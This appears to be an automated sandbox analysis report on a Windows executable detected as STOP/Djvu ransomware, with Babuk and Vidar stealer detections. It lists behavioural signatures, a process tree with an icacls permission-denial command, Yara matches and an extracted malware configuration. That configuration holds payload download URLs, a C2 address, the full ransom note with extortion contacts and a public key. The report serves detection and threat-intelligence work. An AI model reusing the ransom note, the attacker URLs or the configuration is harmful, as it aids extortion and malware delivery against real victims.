Edit tour

Windows Analysis Report
kOVwcHSfrR.exe

Overview

General Information

Sample name:	kOVwcHSfrR.exe renamed because original name is a hash value
Original sample name:	26bd4a40d12d5483b5cf8a0a2db0dddb151b0b3206079dcf2782834482a2c3b7.exe
Analysis ID:	1371870
MD5:	d3d46d0339ceb24c85568e75f78846a7
SHA1:	36f63066beba540453e1b93e6b1e282aed804234
SHA256:	26bd4a40d12d5483b5cf8a0a2db0dddb151b0b3206079dcf2782834482a2c3b7
Tags:	exeStop
Infos:

Detection

Babuk, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Sample uses process hollowing technique

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

kOVwcHSfrR.exe (PID: 7384 cmdline: C:\Users\user\Desktop\kOVwcHSfrR.exe MD5: D3D46D0339CEB24C85568E75F78846A7)

kOVwcHSfrR.exe (PID: 7808 cmdline: C:\Users\user\Desktop\kOVwcHSfrR.exe MD5: D3D46D0339CEB24C85568E75F78846A7)

icacls.exe (PID: 7940 cmdline: icacls "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

kOVwcHSfrR.exe (PID: 7964 cmdline: "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask MD5: D3D46D0339CEB24C85568E75F78846A7)

kOVwcHSfrR.exe (PID: 8028 cmdline: "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask MD5: D3D46D0339CEB24C85568E75F78846A7)

build2.exe (PID: 7432 cmdline: "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe" MD5: 1F7EFAC73D987DAE200E36922267D8C6)

build2.exe (PID: 7964 cmdline: "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe" MD5: 1F7EFAC73D987DAE200E36922267D8C6)

kOVwcHSfrR.exe (PID: 7996 cmdline: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task MD5: D3D46D0339CEB24C85568E75F78846A7)

kOVwcHSfrR.exe (PID: 8088 cmdline: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task MD5: D3D46D0339CEB24C85568E75F78846A7)

kOVwcHSfrR.exe (PID: 8160 cmdline: "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart MD5: D3D46D0339CEB24C85568E75F78846A7)

kOVwcHSfrR.exe (PID: 7376 cmdline: "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart MD5: D3D46D0339CEB24C85568E75F78846A7)

kOVwcHSfrR.exe (PID: 7384 cmdline: "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart MD5: D3D46D0339CEB24C85568E75F78846A7)

kOVwcHSfrR.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart MD5: D3D46D0339CEB24C85568E75F78846A7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/ https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-99MNqXMrdS\r\nPrice of private key and decrypt software is $1999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $999.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0840ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\\/sWjMd\\\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7vAvQJa0bzVOF1YKNM9ycEaFo3i1IYPt\\\\nxz\\/jq68R20b+hkZtNTv54hcU7\\/Ez+0pdyzteV5Zhg7wXU130hV2tpLc73CPJWPbH\\\\n1Cb\\/TPj2BV1MyBjdQNygBMKZXr5AiecEZscmy3tPXp6G+PWkUj06eqE1m7OGGguB\\\\n99Z7DX1\\/1zY5jmMj5lpDmJWwWf7WaMni1yYPeNWGd67CNvvOmb+YjuTg4HXMAgQ2\\\\nWnCip4mCf70IqmZ2U\\/J0OUQFuCkNaQb0Q0aLFcT4bMDszWR\\/xOhuh2YWJQ0LO+gm\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000013.00000002.1516167600.000000000262A000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000002.1683207825.00000000009ED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1148:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.1325933597.00000000026C8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000002.1345615414.00000000025E6000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.1442800853.00000000025AF000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: kOVwcHSfrR.exe PID: 7384	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 7384	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3602c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 7808	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 7808	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x5c55b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 7964	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 7964	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4a9cb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 7996	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 7996	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3ce79:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 8028	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 8028	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 8028	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xbb9a58:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 8088	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 8088	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 8088	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3347d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 8160	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 8160	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3e139:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 7376	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 7376	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4963d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 7384	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 7384	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x43ec1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: kOVwcHSfrR.exe PID: 736	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: kOVwcHSfrR.exe PID: 736	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x470c0:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 7964	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7964	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 50 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.kOVwcHSfrR.exe.26c15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.kOVwcHSfrR.exe.26c15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.kOVwcHSfrR.exe.26c15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.kOVwcHSfrR.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.kOVwcHSfrR.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
